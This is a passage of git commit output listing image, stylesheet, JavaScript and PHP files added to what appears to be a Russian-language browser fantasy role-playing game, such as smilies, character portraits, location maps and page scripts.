i/shadow/mr2.gif create mode 100644 i/shadow/mr3.gif create mode 100644 i/shadow/mr4.gif create mode 100644 i/shadow/msandrik2.gif create mode 100644 i/shadow/mshoto.gif create mode 100644 i/shadow/msmert.gif create mode 100644 i/shadow/msolomon.gif create mode 100644 i/shadow/mtal.gif create mode 100644 i/shadow/mtarkus.gif create mode 100644 i/shadow/musorsh_.gif create mode 100644 i/shadow/musorsik.gif create mode 100644 i/shadow/naugrim.gif create mode 100644 i/shadow/ninja.gif create mode 100644 i/shadow/occultist.gif create mode 100644 i/shadow/palladin.gif create mode 100644 i/shadow/pravitel.gif create mode 100644 i/shadow/pregator.gif create mode 100644 i/shadow/premiumm_1.png create mode 100644 i/shadow/priestess.gif create mode 100644 i/shadow/prydens.gif create mode 100644 i/shadow/q.gif create mode 100644 i/shadow/samurai.gif create mode 100644 i/shadow/shadow_mage.gif create mode 100644 i/shadow/shield_lady.gif create mode 100644 i/shadow/sorceress.gif create mode 100644 i/shadow/stas.gif create mode 100644 i/shadow/storuk216.gif create mode 100644 i/shadow/sultan.gif create mode 100644 i/shadow/swordman.gif create mode 100644 i/shadow/uniq503258_a.gif create mode 100644 i/shadow/unnamed.gif create mode 100644 i/shadow/vampir-lady.gif create mode 100644 i/shadow/vampir.gif create mode 100644 i/shadow/vampirella.gif create mode 100644 i/shadow/w_karioka.gif create mode 100644 i/shadow/w_lora.gif create mode 100644 i/shadow/w_pepelka.gif create mode 100644 i/shadow/warrior_lady.gif create mode 100644 i/shadow/water_god.gif create mode 100644 i/shadow/water_godness.gif create mode 100644 i/shadow/witness1.gif create mode 100644 i/shadow/witness2.gif create mode 100644 i/shadow/wizard.gif create mode 100644 i/shadow/yuli.gif create mode 100644 i/shadow/zombie1.gif create mode 100644 i/shiel11.gif create mode 100644 i/shinehelmet.png create mode 100644 i/skeleton/corner_lt.png create mode 100644 i/skeleton/drink.png create mode 100644 i/skeleton/separator.png create mode 100644 i/skeleton/top.png create mode 100644 i/sleep2.gif create mode 100644 i/sleep_obj.gif create mode 100644 i/slitok.gif create mode 100644 i/smile/Thumbs.db create mode 100644 i/smile/agree.gif create mode 100644 i/smile/alch.gif create mode 100644 i/smile/alien.gif create mode 100644 i/smile/angel.gif create mode 100644 i/smile/angel2.gif create mode 100644 i/smile/baby.gif create mode 100644 i/smile/ball.gif create mode 100644 i/smile/beer.gif create mode 100644 i/smile/beggar.gif create mode 100644 i/smile/boks.gif create mode 100644 i/smile/boks2.gif create mode 100644 i/smile/bow.gif create mode 100644 i/smile/bye.gif create mode 100644 i/smile/carreat.gif create mode 100644 i/smile/cat.gif create mode 100644 i/smile/chtoza.gif create mode 100644 i/smile/confused.gif create mode 100644 i/smile/creator.gif create mode 100644 i/smile/cry.gif create mode 100644 i/smile/crying.gif create mode 100644 i/smile/dance1.gif create mode 100644 i/smile/dance2.gif create mode 100644 i/smile/dedmoroz.gif create mode 100644 i/smile/devil.gif create mode 100644 i/smile/devka.gif create mode 100644 i/smile/doc.gif create mode 100644 i/smile/doc2.gif create mode 100644 i/smile/dont.gif create mode 100644 i/smile/drink.gif create mode 100644 i/smile/duel.gif create mode 100644 i/smile/dustman.gif create mode 100644 i/smile/eek.gif create mode 100644 i/smile/elix.gif create mode 100644 i/smile/fie.gif create mode 100644 i/smile/fingal.gif create mode 100644 i/smile/fire.gif create mode 100644 i/smile/flowers.gif create mode 100644 i/smile/friday.gif create mode 100644 i/smile/fuck.gif create mode 100644 i/smile/gent.gif create mode 100644 i/smile/grace.gif create mode 100644 i/smile/grenade.gif create mode 100644 i/smile/grust.gif create mode 100644 i/smile/gun.gif create mode 100644 i/smile/hello.gif create mode 100644 i/smile/help.gif create mode 100644 i/smile/hi.gif create mode 100644 i/smile/hlw.gif create mode 100644 i/smile/horse.gif create mode 100644 i/smile/hug.gif create mode 100644 i/smile/idea.gif create mode 100644 i/smile/inv.gif create mode 100644 i/smile/invis.gif create mode 100644 i/smile/jeer.gif create mode 100644 i/smile/king.gif create mode 100644 i/smile/king2.gif create mode 100644 i/smile/kiss.gif create mode 100644 i/smile/kiss2.gif create mode 100644 i/smile/kiss3.gif create mode 100644 i/smile/kiss4.gif create mode 100644 i/smile/kruger.gif create mode 100644 i/smile/lady.gif create mode 100644 i/smile/laugh.gif create mode 100644 i/smile/lick.gif create mode 100644 i/smile/lightfly.gif create mode 100644 i/smile/lordhaos.gif create mode 100644 i/smile/love.gif create mode 100644 i/smile/love2.gif create mode 100644 i/smile/loveya.gif create mode 100644 i/smile/mad.gif create mode 100644 i/smile/mag.gif create mode 100644 i/smile/maniac.gif create mode 100644 i/smile/mdr.gif create mode 100644 i/smile/mol.gif create mode 100644 i/smile/naem.gif create mode 100644 i/smile/naem2.gif create mode 100644 i/smile/naem3.gif create mode 100644 i/smile/nail.gif create mode 100644 i/smile/ninja.gif create mode 100644 i/smile/nnn.gif create mode 100644 i/smile/no.gif create mode 100644 i/smile/nono.gif create mode 100644 i/smile/nun.gif create mode 100644 i/smile/nunu.gif create mode 100644 i/smile/obm.gif create mode 100644 i/smile/ok.gif create mode 100644 i/smile/owl.gif create mode 100644 i/smile/pal.gif create mode 100644 i/smile/pif.gif create mode 100644 i/smile/pirate.gif create mode 100644 i/smile/podz.gif create mode 100644 i/smile/ponder.gif create mode 100644 i/smile/privet.gif create mode 100644 i/smile/radio1.gif create mode 100644 i/smile/radio2.gif create mode 100644 i/smile/red.gif create mode 100644 i/smile/rev.gif create mode 100644 i/smile/rocket.gif create mode 100644 i/smile/rose.gif create mode 100644 i/smile/rotate.gif create mode 100644 i/smile/row.gif create mode 100644 i/smile/rupor.gif create mode 100644 i/smile/sand_m.gif create mode 100644 i/smile/sharp.gif create mode 100644 i/smile/showng.gif create mode 100644 i/smile/shuffle.gif create mode 100644 i/smile/smash.gif create mode 100644 i/smile/smil.gif create mode 100644 i/smile/smile.gif create mode 100644 i/smile/smoke.gif create mode 100644 i/smile/sneeze.gif create mode 100644 i/smile/snegur.gif create mode 100644 i/smile/sniper.gif create mode 100644 i/smile/snowfight.gif create mode 100644 i/smile/sorry.gif create mode 100644 i/smile/sorry2.gif create mode 100644 i/smile/sten.gif create mode 100644 i/smile/str.gif create mode 100644 i/smile/super.gif create mode 100644 i/smile/superng.gif create mode 100644 i/smile/susel.gif create mode 100644 i/smile/sword.gif create mode 100644 i/smile/tease.gif create mode 100644 i/smile/tongue.gif create mode 100644 i/smile/tongue2.gif create mode 100644 i/smile/tongue3.gif create mode 100644 i/smile/trup.gif create mode 100644 i/smile/ura.gif create mode 100644 i/smile/vamp.gif create mode 100644 i/smile/victory.gif create mode 100644 i/smile/wink.gif create mode 100644 i/smile/yar.gif create mode 100644 i/smile/yes.gif create mode 100644 i/smiles/Knight1.gif create mode 100644 i/smiles/agree.gif create mode 100644 i/smiles/alch.gif create mode 100644 i/smiles/alien.gif create mode 100644 i/smiles/angel.gif create mode 100644 i/smiles/angel2.gif create mode 100644 i/smiles/baby.gif create mode 100644 i/smiles/beer.gif create mode 100644 i/smiles/beggar.gif create mode 100644 i/smiles/boks.gif create mode 100644 i/smiles/boks2.gif create mode 100644 i/smiles/bow.gif create mode 100644 i/smiles/bye.gif create mode 100644 i/smiles/carreat.gif create mode 100644 i/smiles/cat.gif create mode 100644 i/smiles/chtoza.gif create mode 100644 i/smiles/confused.gif create mode 100644 i/smiles/creator.gif create mode 100644 i/smiles/cry.gif create mode 100644 i/smiles/dance1.gif create mode 100644 i/smiles/dance2.gif create mode 100644 i/smiles/dedmoroz.gif create mode 100644 i/smiles/devil.gif create mode 100644 i/smiles/doc.gif create mode 100644 i/smiles/doc2.gif create mode 100644 i/smiles/dont.gif create mode 100644 i/smiles/drink.gif create mode 100644 i/smiles/duel.gif create mode 100644 i/smiles/dustman.gif create mode 100644 i/smiles/eek.gif create mode 100644 i/smiles/elix.gif create mode 100644 i/smiles/fie.gif create mode 100644 i/smiles/fingal.gif create mode 100644 i/smiles/flowers.gif create mode 100644 i/smiles/friday.gif create mode 100644 i/smiles/gent.gif create mode 100644 i/smiles/girl.gif create mode 100644 i/smiles/grace.gif create mode 100644 i/smiles/grust.gif create mode 100644 i/smiles/gun.gif create mode 100644 i/smiles/hello.gif create mode 100644 i/smiles/help.gif create mode 100644 i/smiles/hi.gif create mode 100644 i/smiles/horse.gif create mode 100644 i/smiles/hug.gif create mode 100644 i/smiles/idea.gif create mode 100644 i/smiles/inv.gif create mode 100644 i/smiles/invis.gif create mode 100644 i/smiles/jeer.gif create mode 100644 i/smiles/king.gif create mode 100644 i/smiles/king2.gif create mode 100644 i/smiles/kiss.gif create mode 100644 i/smiles/kiss2.gif create mode 100644 i/smiles/kiss3.gif create mode 100644 i/smiles/kiss4.gif create mode 100644 i/smiles/kruger.gif create mode 100644 i/smiles/lady.gif create mode 100644 i/smiles/laugh.gif create mode 100644 i/smiles/lick.gif create mode 100644 i/smiles/lightfly.gif create mode 100644 i/smiles/lordhaos.gif create mode 100644 i/smiles/love.gif create mode 100644 i/smiles/love2.gif create mode 100644 i/smiles/loveya.gif create mode 100644 i/smiles/mad.gif create mode 100644 i/smiles/mag.gif create mode 100644 i/smiles/maniac.gif create mode 100644 i/smiles/mdr.gif create mode 100644 i/smiles/mol.gif create mode 100644 i/smiles/naem.gif create mode 100644 i/smiles/naem2.gif create mode 100644 i/smiles/naem3.gif create mode 100644 i/smiles/nail.gif create mode 100644 i/smiles/ninja.gif create mode 100644 i/smiles/nnn.gif create mode 100644 i/smiles/no.gif create mode 100644 i/smiles/nono.gif create mode 100644 i/smiles/nun.gif create mode 100644 i/smiles/nunu.gif create mode 100644 i/smiles/obm.gif create mode 100644 i/smiles/ok.gif create mode 100644 i/smiles/owl.gif create mode 100644 i/smiles/pal.gif create mode 100644 i/smiles/pif.gif create mode 100644 i/smiles/pirate.gif create mode 100644 i/smiles/podz.gif create mode 100644 i/smiles/ponder.gif create mode 100644 i/smiles/privet.gif create mode 100644 i/smiles/radio1.gif create mode 100644 i/smiles/radio2.gif create mode 100644 i/smiles/red.gif create mode 100644 i/smiles/rev.gif create mode 100644 i/smiles/rocket.gif create mode 100644 i/smiles/rom.gif create mode 100644 i/smiles/rose.gif create mode 100644 i/smiles/rotate.gif create mode 100644 i/smiles/row.gif create mode 100644 i/smiles/rupor.gif create mode 100644 i/smiles/sad.gif create mode 100644 i/smiles/sharp.gif create mode 100644 i/smiles/showng.gif create mode 100644 i/smiles/shuffle.gif create mode 100644 i/smiles/smash.gif create mode 100644 i/smiles/smil.gif create mode 100644 i/smiles/smile.gif create mode 100644 i/smiles/smile100.gif create mode 100644 i/smiles/smile118.gif create mode 100644 i/smiles/smile149.gif create mode 100644 i/smiles/smile166.gif create mode 100644 i/smiles/smile237.gif create mode 100644 i/smiles/smile245.gif create mode 100644 i/smiles/smile28.gif create mode 100644 i/smiles/smile289.gif create mode 100644 i/smiles/smile314.gif create mode 100644 i/smiles/smile36.gif create mode 100644 i/smiles/smile39.gif create mode 100644 i/smiles/smile44.gif create mode 100644 i/smiles/smile70.gif create mode 100644 i/smiles/smoke.gif create mode 100644 i/smiles/sneeze.gif create mode 100644 i/smiles/snegur.gif create mode 100644 i/smiles/sniper.gif create mode 100644 i/smiles/snowfight.gif create mode 100644 i/smiles/sorry.gif create mode 100644 i/smiles/sorry2.gif create mode 100644 i/smiles/sten.gif create mode 100644 i/smiles/str.gif create mode 100644 i/smiles/super.gif create mode 100644 i/smiles/superng.gif create mode 100644 i/smiles/susel.gif create mode 100644 i/smiles/sword.gif create mode 100644 i/smiles/tease.gif create mode 100644 i/smiles/tongue.gif create mode 100644 i/smiles/tongue2.gif create mode 100644 i/smiles/trup.gif create mode 100644 i/smiles/ura.gif create mode 100644 i/smiles/vamp.gif create mode 100644 i/smiles/victory.gif create mode 100644 i/smiles/wink.gif create mode 100644 i/smiles/yar.gif create mode 100644 i/smiles/yes.gif create mode 100644 i/smilestitle.gif create mode 100644 i/spacer.gif create mode 100644 i/splitstack.gif create mode 100644 i/stack.gif create mode 100644 i/static/bukmek2.gif create mode 100644 i/static/img/bukmek.gif create mode 100644 i/static/img/bukmek2.gif create mode 100644 i/static/img/ic_acc1.gif create mode 100644 i/static/img/ic_acc4.gif create mode 100644 i/static/radiodj.png create mode 100644 i/stick.gif create mode 100644 i/stih1.gif create mode 100644 i/support.gif create mode 100644 i/sword93.gif create mode 100644 i/tar_good1.gif create mode 100644 i/tar_good2.gif create mode 100644 i/tar_old1.gif create mode 100644 i/tar_old2.gif create mode 100644 i/tar_orden.gif create mode 100644 i/tar_sign1.gif create mode 100644 i/tar_sign2.gif create mode 100644 i/tar_sign4.gif create mode 100644 i/tar_year1.gif create mode 100644 i/tar_year2.gif create mode 100644 i/tar_year3.gif create mode 100644 i/tar_year4.gif create mode 100644 i/title_anketa.gif create mode 100644 i/top.gif create mode 100644 i/top_nq_01.jpg create mode 100644 i/top_nq_03.jpg create mode 100644 i/tower/1001.jpg create mode 100644 i/tower/1002.jpg create mode 100644 i/tower/1003.jpg create mode 100644 i/tower/1004.jpg create mode 100644 i/tower/1005.jpg create mode 100644 i/tower/1006.jpg create mode 100644 i/tower/1007.jpg create mode 100644 i/tower/1008.jpg create mode 100644 i/tower/1009.jpg create mode 100644 i/tower/1010.jpg create mode 100644 i/tower/1011.jpg create mode 100644 i/tower/1012.jpg create mode 100644 i/tower/1013.jpg create mode 100644 i/tower/1014.jpg create mode 100644 i/tower/1015.jpg create mode 100644 i/tower/1016.jpg create mode 100644 i/tower/1017.jpg create mode 100644 i/tower/1018.jpg create mode 100644 i/tower/1019.jpg create mode 100644 i/tower/1020.jpg create mode 100644 i/tower/1021.jpg create mode 100644 i/tower/1022.jpg create mode 100644 i/tower/1023.jpg create mode 100644 i/tower/1024.jpg create mode 100644 i/tower/1025.jpg create mode 100644 i/tower/1026.jpg create mode 100644 i/tower/1027.jpg create mode 100644 i/tower/1028.jpg create mode 100644 i/tower/1029.jpg create mode 100644 i/tower/1030.jpg create mode 100644 i/tower/1031.jpg create mode 100644 i/tower/1032.jpg create mode 100644 i/tower/1033.jpg create mode 100644 i/tower/1034.jpg create mode 100644 i/tower/1035.jpg create mode 100644 i/tower/1036.jpg create mode 100644 i/tower/1037.jpg create mode 100644 i/tower/1038.jpg create mode 100644 i/tower/1039.jpg create mode 100644 i/tower/1040.jpg create mode 100644 i/tower/1041.jpg create mode 100644 i/tower/1042.jpg create mode 100644 i/tower/1043.jpg create mode 100644 i/tower/1044.jpg create mode 100644 i/tower/1045.jpg create mode 100644 i/tower/1046.jpg create mode 100644 i/tower/1047.jpg create mode 100644 i/tower/1048.jpg create mode 100644 i/tower/1049.jpg create mode 100644 i/tower/1050.jpg create mode 100644 i/tower/1051.jpg create mode 100644 i/tower/1052.jpg create mode 100644 i/tower/1053.jpg create mode 100644 i/tower/1054.jpg create mode 100644 i/tower/1055.jpg create mode 100644 i/tower/1056.jpg create mode 100644 i/tower/1057.jpg create mode 100644 i/tower/1058.jpg create mode 100644 i/tower/1059.jpg create mode 100644 i/tower/1060.jpg create mode 100644 i/tower/attack.gif create mode 100644 i/travma.gif create mode 100644 i/travma2.gif create mode 100644 i/txtcrt.gif create mode 100644 i/unmarry.gif create mode 100644 i/unstack.gif create mode 100644 i/up.gif create mode 100644 i/vhod.jpg create mode 100644 i/victorina1.gif create mode 100644 i/victorina2.gif create mode 100644 i/victorina3.gif create mode 100644 i/vip1.png create mode 100644 i/vip2.png create mode 100644 i/vip3.png create mode 100644 i/vip_bk.gif create mode 100644 i/w1.gif create mode 100644 i/w10.gif create mode 100644 i/w11.gif create mode 100644 i/w12.gif create mode 100644 i/w13.gif create mode 100644 i/w2.gif create mode 100644 i/w3.gif create mode 100644 i/w4.gif create mode 100644 i/w6.gif create mode 100644 i/w7.gif create mode 100644 i/w8.gif create mode 100644 i/w9.gif create mode 100644 i/wallpaper1.gif create mode 100644 i/wm1.jpg create mode 100644 i/world_map2/10_paladinov_bgx.jpg create mode 100644 i/world_map2/10_paladinov_end.jpg create mode 100644 i/world_map2/10_paladinov_logo.jpg create mode 100644 i/world_map2/11_sovet_bgx.jpg create mode 100644 i/world_map2/11_sovet_end.jpg create mode 100644 i/world_map2/11_sovet_logo.jpg create mode 100644 i/world_map2/12_tma_bgx.jpg create mode 100644 i/world_map2/12_tma_end.jpg create mode 100644 i/world_map2/12_tma_logo.jpg create mode 100644 i/world_map2/12_tma_logo2.jpg create mode 100644 i/world_map2/13_netral_bgx.jpg create mode 100644 i/world_map2/13_netral_end.jpg create mode 100644 i/world_map2/13_netral_logo.jpg create mode 100644 i/world_map2/13_netral_logo2.jpg create mode 100644 i/world_map2/14_svet_bgx.jpg create mode 100644 i/world_map2/14_svet_end.jpg create mode 100644 i/world_map2/14_svet_logo.jpg create mode 100644 i/world_map2/14_svet_logo2.jpg create mode 100644 i/world_map2/15_buduar_bgx.jpg create mode 100644 i/world_map2/15_buduar_end.jpg create mode 100644 i/world_map2/15_buduar_logo.jpg create mode 100644 i/world_map2/16_clanwars_bgx.jpg create mode 100644 i/world_map2/16_clanwars_end.jpg create mode 100644 i/world_map2/16_clanwars_logo.jpg create mode 100644 i/world_map2/1_novi4ki_bgx.jpg create mode 100644 i/world_map2/1_novi4ki_end.jpg create mode 100644 i/world_map2/1_novi4ki_logo.jpg create mode 100644 i/world_map2/2_zal_voinov_bgx.jpg create mode 100644 i/world_map2/2_zal_voinov_end.jpg create mode 100644 i/world_map2/2_zal_voinov_logo.jpg create mode 100644 i/world_map2/3_torg_bgx.jpg create mode 100644 i/world_map2/3_torg_end.jpg create mode 100644 i/world_map2/3_torg_logo.jpg create mode 100644 i/world_map2/4_rycarskij_bgx.jpg create mode 100644 i/world_map2/4_rycarskij_end.jpg create mode 100644 i/world_map2/4_rycarskij_logo.jpg create mode 100644 i/world_map2/5_bashnja_bgx.jpg create mode 100644 i/world_map2/5_bashnja_end.jpg create mode 100644 i/world_map2/5_bashnja_logo.jpg create mode 100644 i/world_map2/6_koldovskoj_bgx.jpg create mode 100644 i/world_map2/6_koldovskoj_end.jpg create mode 100644 i/world_map2/6_koldovskoj_logo.jpg create mode 100644 i/world_map2/7_etaz_duhov_bgx.jpg create mode 100644 i/world_map2/7_etaz_duhov_end.jpg create mode 100644 i/world_map2/7_etaz_duhov_logo.jpg create mode 100644 i/world_map2/8_astral_bgx.jpg create mode 100644 i/world_map2/8_astral_end.jpg create mode 100644 i/world_map2/8_astral_logo.jpg create mode 100644 i/world_map2/9_fire_bgx.jpg create mode 100644 i/world_map2/9_fire_end.jpg create mode 100644 i/world_map2/9_fire_logo.jpg create mode 100644 i/world_map2/flag_position.png create mode 100644 i/world_map2/hr_line.jpg create mode 100644 i/world_map2/main_bgy_left.jpg create mode 100644 i/world_map2/main_bgy_right.jpg create mode 100644 i/zak.html create mode 100644 i/zamok/1.gif create mode 100644 i/zamok/2.gif create mode 100644 i/zamok/3.gif create mode 100644 i/zamok/4.jpg create mode 100644 i/zitadel/1.jpg create mode 100644 i/zitadel/10.jpg create mode 100644 i/zitadel/11.jpg create mode 100644 i/zitadel/12.jpg create mode 100644 i/zitadel/13.jpg create mode 100644 i/zitadel/14.jpg create mode 100644 i/zitadel/15.jpg create mode 100644 i/zitadel/16.jpg create mode 100644 i/zitadel/17.jpg create mode 100644 i/zitadel/18.jpg create mode 100644 i/zitadel/19.jpg create mode 100644 i/zitadel/2.jpg create mode 100644 i/zitadel/20.jpg create mode 100644 i/zitadel/21.jpg create mode 100644 i/zitadel/22.jpg create mode 100644 i/zitadel/23.jpg create mode 100644 i/zitadel/24.jpg create mode 100644 i/zitadel/25.jpg create mode 100644 i/zitadel/26.jpg create mode 100644 i/zitadel/27.jpg create mode 100644 i/zitadel/28.jpg create mode 100644 i/zitadel/29.jpg create mode 100644 i/zitadel/3.jpg create mode 100644 i/zitadel/30.jpg create mode 100644 i/zitadel/31.jpg create mode 100644 i/zitadel/4.jpg create mode 100644 i/zitadel/5.jpg create mode 100644 i/zitadel/6.jpg create mode 100644 i/zitadel/7.jpg create mode 100644 i/zitadel/8.jpg create mode 100644 i/zitadel/9.jpg create mode 100644 i/znaki/0.png create mode 100644 i/znaki/1024.png create mode 100644 i/znaki/11.png create mode 100644 i/znaki/12.png create mode 100644 i/znaki/128.png create mode 100644 i/znaki/13.png create mode 100644 i/znaki/15.png create mode 100644 i/znaki/16.png create mode 100644 i/znaki/17.png create mode 100644 i/znaki/18.png create mode 100644 i/znaki/2.png create mode 100644 i/znaki/21.png create mode 100644 i/znaki/24.png create mode 100644 i/znaki/25.png create mode 100644 i/znaki/256.png create mode 100644 i/znaki/30.png create mode 100644 i/znaki/32.png create mode 100644 i/znaki/33.png create mode 100644 i/znaki/34.png create mode 100644 i/znaki/35.png create mode 100644 i/znaki/36.png create mode 100644 i/znaki/37.png create mode 100644 i/znaki/38.png create mode 100644 i/znaki/39.png create mode 100644 i/znaki/4.png create mode 100644 i/znaki/40.png create mode 100644 i/znaki/41.png create mode 100644 i/znaki/42.png create mode 100644 i/znaki/43.png create mode 100644 i/znaki/44.png create mode 100644 i/znaki/45.png create mode 100644 i/znaki/512.png create mode 100644 i/znaki/8.png create mode 100644 i/znaki/achieve.png create mode 100644 i/znaki/inf_pal.png create mode 100644 i/znaki/inf_photoscroll.png create mode 100644 i/znaki/inf_scroll.png create mode 100644 i/znaki/ud.png create mode 100644 i/zvuk.gif create mode 100644 i/zvuk_off.gif create mode 100644 i/zzz.png create mode 100644 ico_change.gif create mode 100644 img/Thumbs.db create mode 100644 img/bg_scroll_01.gif create mode 100644 img/bg_scroll_05.gif create mode 100644 img/index.html create mode 100644 img/index.php create mode 100644 img/lib_reg2.gif create mode 100644 img/podzem/0.gif create mode 100644 img/podzem/0_0.gif create mode 100644 img/podzem/1.gif create mode 100644 img/podzem/1_0.gif create mode 100644 img/podzem/2.gif create mode 100644 img/podzem/3.gif create mode 100644 img/podzem/Monster.gif create mode 100644 img/podzem/Thumbs.db create mode 100644 img/podzem/altar_3.JPG create mode 100644 img/podzem/b.gif create mode 100644 img/podzem/bg.gif create mode 100644 img/podzem/bolt.gif create mode 100644 img/podzem/bolt_d.gif create mode 100644 img/podzem/buttom.gif create mode 100644 img/podzem/buttomi.gif create mode 100644 img/podzem/buttomii.gif create mode 100644 img/podzem/cn1.gif create mode 100644 img/podzem/cn2.gif create mode 100644 img/podzem/cn3.gif create mode 100644 img/podzem/cy3.gif create mode 100644 img/podzem/cy3.jpg create mode 100644 img/podzem/dob5.gif create mode 100644 img/podzem/g.gif create mode 100644 img/podzem/g_c.gif create mode 100644 img/podzem/g_r.gif create mode 100644 img/podzem/hall.jpg create mode 100644 img/podzem/hall2.JPG create mode 100644 img/podzem/ico_change_leader1.gif create mode 100644 img/podzem/ico_kill_member1.gif create mode 100644 img/podzem/index.html create mode 100644 img/podzem/kluchik.gif create mode 100644 img/podzem/koll.gif create mode 100644 img/podzem/left.gif create mode 100644 img/podzem/lefti.gif create mode 100644 img/podzem/leftii.gif create mode 100644 img/podzem/lestnica.gif create mode 100644 img/podzem/ln1.gif create mode 100644 img/podzem/ln2.gif create mode 100644 img/podzem/ln3.gif create mode 100644 img/podzem/ly1.gif create mode 100644 img/podzem/ly2.gif create mode 100644 img/podzem/ly3.gif create mode 100644 img/podzem/mapdr.jpg create mode 100644 img/podzem/maprr.jpg create mode 100644 img/podzem/move.gif create mode 100644 img/podzem/nav.gif create mode 100644 img/podzem/nb.gif create mode 100644 img/podzem/panbox_on.gif create mode 100644 img/podzem/ref.gif create mode 100644 img/podzem/right.gif create mode 100644 img/podzem/righti.gif create mode 100644 img/podzem/rightii.gif create mode 100644 img/podzem/rn1.gif create mode 100644 img/podzem/rn2.gif create mode 100644 img/podzem/rn3.gif create mode 100644 img/podzem/rv.gif create mode 100644 img/podzem/ry1.gif create mode 100644 img/podzem/ry2.gif create mode 100644 img/podzem/ry3.gif create mode 100644 img/podzem/sun.gif create mode 100644 img/podzem/top.gif create mode 100644 img/podzem/top.psd create mode 100644 img/podzem/topi.gif create mode 100644 img/podzem/topii.gif create mode 100644 img/podzem/use_heal_on.gif create mode 100644 img/podzem/user.gif create mode 100644 img/podzem/v.gif create mode 100644 img/podzem/vlevo.gif create mode 100644 img/podzem/vpravo.gif create mode 100644 img/podzem/yeralti.gif create mode 100644 img/podzem/yerustu.gif create mode 100644 img/podzem/ziton.gif create mode 100644 img/rejting.GIF create mode 100644 img/slot_bottom0.gif create mode 100644 index.html create mode 100644 index.php create mode 100644 index/css/keyboard.css create mode 100644 index/css/main.css create mode 100644 index/css/welcome.css create mode 100644 index/images/18adult.gif create mode 100644 index/images/bg.png create mode 100644 index/images/change_warn.gif create mode 100644 index/images/klav_transparent.gif create mode 100644 index/images/logo1.png create mode 100644 inf.php create mode 100644 itemschoice.php create mode 100644 js/CombatsUI.js create mode 100644 js/LocalText.js create mode 100644 js/ZeroClipboard.js create mode 100644 js/ZeroClipboard.swf create mode 100644 js/_e2.js create mode 100644 js/_e_1.js create mode 100644 js/ajaxLoad.js create mode 100644 js/battle2.js create mode 100644 js/ch.js create mode 100644 js/ch2.91.js create mode 100644 js/chat.js create mode 100644 js/commoninf.js create mode 100644 js/contact.js create mode 100644 js/core.js create mode 100644 js/dialog_029_ru.js create mode 100644 js/dialog_030_ru.js create mode 100644 js/forum.js create mode 100644 js/forum_smiles.json create mode 100644 js/funcs.js create mode 100644 js/gameEngine.js create mode 100644 js/h.js create mode 100644 js/inf.0.104.js create mode 100644 js/inf.0.96.js create mode 100644 js/jax_dialog.js create mode 100644 js/jquery-1.7.2.min.js create mode 100644 js/jquery.cookie.js create mode 100644 js/jquery.js create mode 100644 js/jquery.min.js create mode 100644 js/jquery.plugins.js create mode 100644 js/jquery.simplemodal.js create mode 100644 js/jquery.ui.js create mode 100644 js/jquery.wysibb-1.3.0.js create mode 100644 js/kicke.js create mode 100644 js/main_096_ru.js create mode 100644 js/main_096_ru2.js create mode 100644 js/mi.js create mode 100644 js/modal_j.js create mode 100644 js/recoverscroll.js create mode 100644 js/refreshonline.js create mode 100644 js/selectlogin.js create mode 100644 js/showthing.js create mode 100644 js/sl2.21.js create mode 100644 js/sl2.js create mode 100644 js/time.js create mode 100644 js/tooltip.js create mode 100644 js/win_add.js create mode 100644 kartabc.html create mode 100644 klan.php create mode 100644 klanedit.php create mode 100644 krshop.php create mode 100644 kwest.php create mode 100644 lab.php create mode 100644 lab2.php create mode 100644 lab_enter.php create mode 100644 labirint(1).php create mode 100644 labirint(2).php create mode 100644 labirint.php create mode 100644 law.html create mode 100644 left.html create mode 100644 lib/exp.html create mode 100644 library.php create mode 100644 locations/castle-square/img/day/background.png create mode 100644 locations/castle-square/img/day/h/arena.png create mode 100644 locations/castle-square/img/day/h/catacomb.png create mode 100644 locations/castle-square/img/day/h/dragon.png create mode 100644 locations/castle-square/img/day/h/fonar_left.png create mode 100644 locations/castle-square/img/day/h/fonar_right.png create mode 100644 locations/castle-square/img/day/h/labirinth.png create mode 100644 locations/castle-square/img/day/h/znakhar.png create mode 100644 locations/castle-square/img/day/n/arena.png create mode 100644 locations/castle-square/img/day/n/catacomb.png create mode 100644 locations/castle-square/img/day/n/dragon.png create mode 100644 locations/castle-square/img/day/n/fonar_left.png create mode 100644 locations/castle-square/img/day/n/fonar_right.png create mode 100644 locations/castle-square/img/day/n/labirinth.png create mode 100644 locations/castle-square/img/day/n/znakhar.png create mode 100644 locations/castle-square/img/night/background.png create mode 100644 locations/castle-square/img/night/h/arena.png create mode 100644 locations/castle-square/img/night/h/catacomb.png create mode 100644 locations/castle-square/img/night/h/dragon.png create mode 100644 locations/castle-square/img/night/h/fonar_left.png create mode 100644 locations/castle-square/img/night/h/fonar_right.png create mode 100644 locations/castle-square/img/night/h/labirinth.png create mode 100644 locations/castle-square/img/night/h/znakhar.png create mode 100644 locations/castle-square/img/night/n/arena.png create mode 100644 locations/castle-square/img/night/n/catacomb.png create mode 100644 locations/castle-square/img/night/n/dragon.png create mode 100644 locations/castle-square/img/night/n/fonar_left.png create mode 100644 locations/castle-square/img/night/n/fonar_right.png create mode 100644 locations/castle-square/img/night/n/labirinth.png create mode 100644 locations/castle-square/img/night/n/znakhar.png create mode 100644 locations/castle-square/map.php create mode 100644 locations/central-square/img/day/background.jpg create mode 100644 locations/central-square/img/day/h/bigshop.png create mode 100644 locations/central-square/img/day/h/blacksmith.png create mode 100644 locations/central-square/img/day/h/castle.png create mode 100644 locations/central-square/img/day/h/fleamarket.png create mode 100644 locations/central-square/img/day/h/loto.png create mode 100644 locations/central-square/img/day/h/postoffice.png create mode 100644 locations/central-square/img/day/h/shop.png create mode 100644 locations/central-square/img/day/h/signleft.png create mode 100644 locations/central-square/img/day/h/signright.png create mode 100644 locations/central-square/img/day/h/statue.png create mode 100644 locations/central-square/img/day/h/zima_berezka.png create mode 100644 locations/central-square/img/day/h/zima_cap_arr_left.png create mode 100644 locations/central-square/img/day/h/zima_cap_arr_right.png create mode 100644 locations/central-square/img/day/h/zima_cap_arr_top.png create mode 100644 locations/central-square/img/day/h/zima_cap_cp_day.jpg create mode 100644 locations/central-square/img/day/h/zima_club.png create mode 100644 locations/central-square/img/day/h/zima_kom.png create mode 100644 locations/central-square/img/day/h/zima_loto.png create mode 100644 locations/central-square/img/day/h/zima_po4ta.png create mode 100644 locations/central-square/img/day/h/zima_rem.png create mode 100644 locations/central-square/img/day/h/zima_shop.png create mode 100644 locations/central-square/img/day/h/zima_stella.png create mode 100644 locations/central-square/img/day/n/bigshop.png create mode 100644 locations/central-square/img/day/n/blacksmith.png create mode 100644 locations/central-square/img/day/n/castle.png create mode 100644 locations/central-square/img/day/n/fleamarket.png create mode 100644 locations/central-square/img/day/n/loto.png create mode 100644 